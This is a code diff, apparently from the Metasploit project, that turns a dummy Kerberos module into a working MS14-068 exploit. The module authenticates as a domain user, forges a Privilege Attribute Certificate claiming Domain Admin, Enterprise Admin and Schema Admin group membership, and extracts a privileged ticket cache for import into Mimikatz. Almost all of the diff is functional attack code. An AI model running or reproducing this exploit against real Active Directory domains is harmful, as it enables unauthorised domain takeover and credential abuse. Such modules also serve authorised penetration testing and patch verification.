@@ -12,15 +12,20 @@ class Metasploit4 < Msf::Auxiliary
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'Dummy Kerberos testing module ' ,
15
+ 'Name' => 'MS14-068 Microsfot Kerberos Checksum Validation Vulnerability ' ,
16
16
'Description' => %q{
17
- Dummy Kerberos testing module
17
+ This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
18
+ exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
19
+ request, allowing a domain user to forge a PAC with arbitrary privileges, including Domain
20
+ Administrator. This module outputs a MIT Kerberos Credential Cache with the privileged
21
+ ticket, which can be imported, for example, on Mimikatz. It has been tested successfully on
22
+ Windows 2008.
18
23
} ,
19
24
'Author' =>
20
25
[
21
26
'Tom Maddock' , # Vulnerability discovery
22
27
'Sylvain Monne' , # pykek framework and exploit
23
- 'juan vazquez' # Metasploit module
28
+ 'juan vazquez' # Metasploit module
24
29
] ,
25
30
'References' =>
26
31
[
@@ -34,76 +39,92 @@ def initialize(info = {})
34
39
'License' => MSF_LICENSE ,
35
40
'DisclosureDate' => 'Nov 18 2014'
36
41
) )
42
+
43
+ register_options (
44
+ [
45
+ OptString . new ( 'USER' , [ true , 'The Domain User' , 'juan' ] ) ,
46
+ OptString . new ( 'PASSWORD' , [ true , 'The Domain User password' , 'juan' ] ) ,
47
+ OptString . new ( 'DOMAIN' , [ true , 'The Domain Ex: DEMO.LOCAL' , 'DEMO.LOCAL' ] ) ,
48
+ OptString . new ( 'DOMAIN_SID' , [ true , 'The Domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962' , 'S-1-5-21-1755879683-3641577184-3486455962' ] )
49
+ ] , self . class )
37
50
end
38
51
39
52
def run
40
53
41
- connect ( :rhost => datastore [ 'RHOST' ] )
42
- print_status ( "Sending AS-REQ..." )
54
+ print_status ( " #{ peer } - Connecting with the KDC..." )
55
+ connect ( :rhost => datastore [ 'RHOST' ] )
43
56
44
- my_key = OpenSSL ::Digest . digest ( 'MD4' , Rex ::Text . to_unicode ( 'juan' ) )
57
+ unicode_password = Rex ::Text . to_unicode ( datastore [ 'PASSWORD' ] )
58
+ password_digest = OpenSSL ::Digest . digest ( 'MD4' , unicode_password )
45
59
46
60
pre_auth = [ ]
47
- pre_auth << build_as_pa_time_stamp ( key : my_key )
61
+ pre_auth << build_as_pa_time_stamp ( key : password_digest )
48
62
pre_auth << build_pa_pac_request
49
63
pre_auth
50
64
65
+ print_status ( "#{ peer } - Sending AS-REQ..." )
51
66
res = send_request_as (
52
- client_name : 'juan' ,
53
- server_name : ' krbtgt/DEMO.LOCAL' ,
54
- realm : 'DEMO.LOCAL' ,
55
- key : my_key ,
67
+ client_name : " #{ datastore [ 'USER' ] } " ,
68
+ server_name : " krbtgt/#{ datastore [ 'DOMAIN' ] } " ,
69
+ realm : " #{ datastore [ 'DOMAIN' ] } " ,
70
+ key : password_digest ,
56
71
pa_data : pre_auth
57
72
)
58
73
59
- unless res . msg_type == 11
60
- print_error ( "invalid response :( " )
74
+ unless res . msg_type == Rex :: Proto :: Kerberos :: Model :: AS_REP
75
+ print_error ( "#{ peer } - Invalid AS-REP, aborting... " )
61
76
return
62
77
end
63
78
64
- print_good ( "good answer!" )
65
- print_status ( "Parsing AS-REP..." )
66
-
67
- session_key = extract_session_key ( res , my_key )
68
- logon_time = extract_logon_time ( res , my_key )
79
+ print_status ( "#{ peer } - Parsing AS-REP..." )
69
80
81
+ session_key = extract_session_key ( res , password_digest )
82
+ logon_time = extract_logon_time ( res , password_digest )
70
83
ticket = res . ticket
71
84
72
- print_status ( "Sending TGS-REQ..." )
73
-
74
85
pre_auth = [ ]
75
86
pre_auth << build_pa_pac_request
76
87
88
+ groups = [
89
+ 513 , # DOMAIN_USERS
90
+ 512 , # DOMAIN_ADMINS
91
+ 520 , # GROUP_POLICY_CREATOR_OWNERS
92
+ 518 , # SCHEMA_ADMINISTRATORS
93
+ 519 # ENTERPRISE_ADMINS
94
+ ]
95
+
77
96
pac = build_pac (
78
- client_name : 'juan' ,
79
- group_ids : [ 513 , 512 , 520 , 518 , 519 ] ,
80
- domain_id : 'S-1-5-21-1755879683-3641577184-3486455962' ,
81
- realm : 'DEMO.LOCAL' ,
97
+ client_name : datastore [ 'USER' ] ,
98
+ group_ids : groups ,
99
+ domain_id : datastore [ 'DOMAIN_SID' ] ,
100
+ realm : datastore [ 'DOMAIN' ] ,
82
101
logon_time : logon_time ,
83
102
)
84
103
85
104
auth_data = build_pac_authorization_data ( pac : pac )
86
105
106
+ print_status ( "#{ peer } - Sending TGS-REQ..." )
107
+
87
108
res = send_request_tgs (
88
- client_name : 'juan' ,
89
- server_name : ' krbtgt/DEMO.LOCAL' ,
90
- realm : 'DEMO.LOCAL' ,
91
- key : my_key ,
109
+ client_name : datastore [ 'USER' ] ,
110
+ server_name : " krbtgt/#{ datastore [ 'DOMAIN' ] } " ,
111
+ realm : datastore [ 'DOMAIN' ] ,
112
+ key : password_digest ,
92
113
logon_time : logon_time ,
93
114
session_key : session_key ,
94
115
ticket : ticket ,
95
- group_ids : [ 513 , 512 , 520 , 518 , 519 ] ,
96
- domain_id : 'S-1-5-21-1755879683-3641577184-3486455962' ,
116
+ group_ids : groups ,
117
+ domain_id : datastore [ 'DOMAIN_SID' ] ,
97
118
auth_data : auth_data ,
98
119
pa_data : pre_auth
99
120
)
100
121
101
- unless res . msg_type == 13
102
- print_error ( "invalid response :( " )
122
+ unless res . msg_type == Rex :: Proto :: Kerberos :: Model :: TGS_REP
123
+ print_error ( "#{ peer } - Invalid TGS-REP, aborting... " )
103
124
return
104
125
end
105
126
106
- print_good ( "Valid TGS-Response" )
127
+ print_good ( "#{ peer } - Valid TGS-Response, extracting credentials... " )
107
128
108
129
cache = extract_kerb_creds ( res , 'AAAABBBBCCCCDDDD' )
109
130
0 commit comments